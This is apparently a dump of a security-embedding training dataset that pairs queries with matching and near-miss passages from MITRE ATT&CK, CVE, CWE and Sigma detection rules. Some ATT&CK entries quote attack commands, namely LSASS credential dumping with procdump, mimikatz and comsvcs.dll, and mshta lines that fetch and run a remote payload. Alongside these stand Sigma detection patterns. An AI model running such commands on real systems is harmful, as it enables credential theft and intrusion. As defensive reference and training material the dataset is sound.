alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: actor TTPs: Email Account
Matching passage: T1087.003 Email Account. Tactics: discovery. Description: Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists) In on-premises Exchange and Exchange Online, the <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016) In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)
Near-miss passage: T1087.004 Cloud Account. Tactics: discovery. Description: Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)
Query: describe CVE-2015-3193
Matching passage: CVE-2015-3193. CWE: CWE-200. CVSS: 7.5. The Montgomery squaring implementation in crypto/bn/asm/x86_64-mont5.pl in OpenSSL 1.0.2 before 1.0.2e on the x86_64 platform, as used by the BN_mod_exp function, mishandles carry propagation and produces incorrect output, which makes it easier for remote attackers to obtain sensitive private-key information via an attack against use of a (1) Diffie-Hellman (DH) or (2) Diffie-Hellman Ephemeral (DHE) ciphersuite.
Near-miss passage: CVE-2015-1064. CWE: CWE-200. CVSS: 1.899999976158142. Springboard in Apple iOS before 8.2 allows physically proximate attackers to bypass an intended activation requirement and read the home screen by leveraging an application crash during the activation process.
Query: vulnerability: Fortinet FortiAuthenticator 3.0.0 allows local users to bypass intended restrictions and gain privileges by creating /tmp/privexec/dbgcore_enable_shell_access and executing the "sh
Matching passage: CVE-2015-1458. CWE: CWE-264. CVSS: 6.900000095367432. Fortinet FortiAuthenticator 3.0.0 allows local users to bypass intended restrictions and gain privileges by creating /tmp/privexec/dbgcore_enable_shell_access and executing the "shell" command.
Near-miss passage: CVE-2015-8939. CWE: CWE-264. CVSS: 7.800000190734863. drivers/video/msm/mdp4_util.c in the Qualcomm components in Android before 2016-08-05 on Nexus 7 (2013) devices does not validate r stages, g stages, or b stages data, which allows attackers to gain privileges via a crafted application, aka Android internal bug 28398884 and Qualcomm internal bug CR779021.
Query: Multiple failed authentications followed by LSASS Memory
Matching passage: T1003.001 LSASS Memory. Tactics: credential access. Description: Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. For example, on the target host use procdump: * <code>procdump -ma lsass.exe lsass_dump</code> Locally, mimikatz can be run using: * <code>sekurlsa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPasswords</code> Built-in Windows tools such as `comsvcs.dll` can also be used: * <code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector) Similar to [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012), the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`).(Citation: Deep Instinct LSASS) Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage W
Near-miss passage: T1003 OS Credential Dumping. Tactics: credential access. Description: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
Query: intelligence brief on T1497.003
Matching passage: T1497.003 Time Based Checks. Tactics: stealth, discovery. Description: Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock. Adversaries may use calls like `GetTickCount` and `GetSystemTimeAsFileTime` to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
Near-miss passage: T1497.002 User Activity Based Checks. Tactics: stealth, discovery. Description: Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)
Query: risk of The hdbsql client 1.00.091.00 Build 1418659308-1530 in SAP HANA allows local users to cause a denial of service (memory corruption) and possibly have unspecified other impact via u
Matching passage: CVE-2015-6507. CWE: CWE-119. CVSS: 7.199999809265137. The hdbsql client 1.00.091.00 Build 1418659308-1530 in SAP HANA allows local users to cause a denial of service (memory corruption) and possibly have unspecified other impact via unknown vectors, aka SAP Security Note 2140700.
Near-miss passage: CVE-2015-5925. CWE: CWE-119. CVSS: 6.800000190734863. The CoreGraphics component in Apple iOS before 9.1, OS X before 10.11.1, and watchOS before 2.0.1 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, a different vulnerability than CVE-2015-5926.
Query: rule covering Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or
Matching passage: Sigma rule: Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or. Logsource: windows / process_creation. Rule: title: Suspicious Redirection to Local Admin Share id: ab9e3b40-0c85-4ba1-aede-455d226fd124 status: test description: Detects a suspicious output redirection to the local admins share, this technique is often found in malicious scripts or hacktool stagers references: - https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ - http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html author: Florian Roth (Nextron Systems) date: 2022-01-16 modified: 2023-12-28 tags: - attack.exfiltration - attack.t1048 logsource: category: process_creation product: windows detection: selection_redirect: CommandLine|contains: '>' selection_share: CommandLine|contains: - \\\\127.0.0.1\\admin$\\ - \\\\localhost\\admin$\\ condition: all of selection_* falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects the creation or modification of the Windows Terminal Profile settings file "settings.json" by an uncommon proces. Logsource: windows / file_event. Rule: title: Windows Terminal Profile Settings Modification By Uncommon Process id: 9b64de98-9db3-4033-bd7a-f51430105f00 status: test description: Detects the creation or modification of the Windows Terminal Profile settings file "settings.json" by an uncommon process. references: - https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1547.015/T1547.015.md#atomic-test-1---persistence-by-modifying-windows-terminal-profile - https://twitter.com/nas_bench/status/1550836225652686848 author: frack113, Nasreddine Bencherchali (Nextron Systems) date: 2023-07-22 tags: - attack.privilege-escalation - attack.persistence - attack.t1547.015 logsource: product: windows category: file_event detection: selection: Image|endswith: - \cmd.exe - \cscript.exe - \mshta.exe - \powershell.exe - \pwsh.exe - \wscript.exe TargetFilename|endswith: \AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\LocalState\settings.json condition: selection falsepositives: - Some false positives may occur with admin scripts that set WT settings. level: medium
Query: Sigma YAML for windows / process_creation
Matching passage: Sigma rule: Detects port forwarding activity via SSH.exe. Logsource: windows / process_creation. Rule: title: Port Forwarding Activity Via SSH.EXE id: 327f48c1-a6db-4eb8-875a-f6981f1b0183 status: test description: Detects port forwarding activity via SSH.exe references: - https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/ author: Nasreddine Bencherchali (Nextron Systems) date: 2022-10-12 modified: 2024-03-05 tags: - attack.command-and-control - attack.lateral-movement - attack.t1572 - attack.t1021.001 - attack.t1021.004 logsource: category: process_creation product: windows detection: selection: Image|endswith: \ssh.exe CommandLine|contains|windash: ' -R ' condition: selection falsepositives: - Administrative activity using a remote port forwarding to a local port level: medium
Near-miss passage: Sigma rule: Detect when a Cloud SQL DB has been modified or deleted.. Logsource: gcp / gcp.audit. Rule: title: Google Cloud SQL Database Modified or Deleted id: f346bbd5-2c4e-4789-a221-72de7685090d status: test description: Detect when a Cloud SQL DB has been modified or deleted. references: - https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update author: Austin Songer @austinsonger date: 2021-10-15 modified: 2022-12-25 tags: - attack.impact logsource: product: gcp service: gcp.audit detection: selection: gcp.audit.method_name: - cloudsql.instances.create - cloudsql.instances.delete - cloudsql.users.update - cloudsql.users.delete condition: selection falsepositives: - SQL Database being modified or deleted may be performed by a system administrator. - Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. - SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule. level: medium
Query: SOC alert related to Electron Applications
Matching passage: T1218.015 Electron Applications. Tactics: stealth. Description: Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1) Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe`).(Citation: Electron 6-8) Adversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)
Near-miss passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Query: exploit Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.
Matching passage: CVE-2015-5127. CWE: UNKNOWN. CVSS: 10.0. Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.
Near-miss passage: CVE-2015-8566. CWE: UNKNOWN. CVSS: 7.5. The Session package 1.x before 1.3.1 for Joomla! Framework allows remote attackers to execute arbitrary code via unspecified session values.
Query: explain T1036.001 Invalid Code Signature
Matching passage: T1036.001 Invalid Code Signature. Tactics: stealth. Description: Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017) Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.
Near-miss passage: T1036.009 Break Process Trees. Tactics: stealth. Description: An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022) On Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree. Another example is using the “daemon” syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022)
Query: risk of parsers.c in Privoxy before 3.0.23 allows remote attackers to cause a denial of service (invalid read and crash) via vectors related to an HTTP time header.
Matching passage: CVE-2015-1382. CWE: CWE-20. CVSS: 5.0. parsers.c in Privoxy before 3.0.23 allows remote attackers to cause a denial of service (invalid read and crash) via vectors related to an HTTP time header.
Near-miss passage: CVE-2015-0642. CWE: CWE-20. CVSS: 7.800000190734863. Cisco IOS 12.2, 12.4, 15.0, 15.1, 15.2, 15.3, and 15.4 and IOS XE 2.5.x, 2.6.x, 3.1.xS through 3.12.xS before 3.12.3S, 3.2.xE through 3.7.xE before 3.7.1E, 3.3.xSG, 3.4.xSG, and 3.13.xS before 3.13.2S allow remote attackers to cause a denial of service (device reload) by sending malformed IKEv2 packets over (1) IPv4 or (2) IPv6, aka Bug ID CSCum36951.
Query: Persistence mechanism resembling Safe Mode Boot
Matching passage: T1688 Safe Mode Boot. Tactics: defense impairment. Description: Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Windows Startup Settings)(Citation: Sophos Safe Mode Boot) Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit) Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason safe mode boot)(Citation: BleepingComputer REvil 2021)
Near-miss passage: T1578.003 Delete Cloud Instance. Tactics: defense impairment. Description: An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable. An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)
Query: CVE similar to CVE-2015-8744
Matching passage: CVE-2015-8744. CWE: CWE-20. CVSS: 5.5. QEMU (aka Quick Emulator) built with a VMWARE VMXNET3 paravirtual NIC emulator support is vulnerable to crash issue. It occurs when a guest sends a Layer-2 packet smaller than 22 bytes. A privileged (CAP_SYS_RAWIO) guest user could use this flaw to crash the QEMU process instance resulting in DoS.
Near-miss passage: CVE-2015-3004. CWE: CWE-20. CVSS: 4.300000190734863. J-Web in Juniper Junos 11.4 before 11.4R12, 12.1X44 before 12.1X44-D35, 12.1X46 before 12.1X46-D25, 12.1X47 before 12.1X47-D10, 12.3X48 before 12.3X48-D10, 12.2 before 12.2R9, 12.3 before 12.3R7, 13.2 before 13.2R6, 13.2X51 before 13.2X51-D20, 13.3 before 13.3R5, 14.1 before 14.1R3, 14.1X53 before 14.1X53-D10, and 14.2 before 14.2R1 allows remote attackers to conduct clickjacking attacks via an X-Frame-Options header.
Query: weakness Dependency on Vulnerable Third-Party Component
Matching passage: CWE-1395 Dependency on Vulnerable Third-Party Component. The product has a dependency on a third-party component that contains one or more known vulnerabilities.
Near-miss passage: CWE-761 Free of Pointer not at Start of Buffer. The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.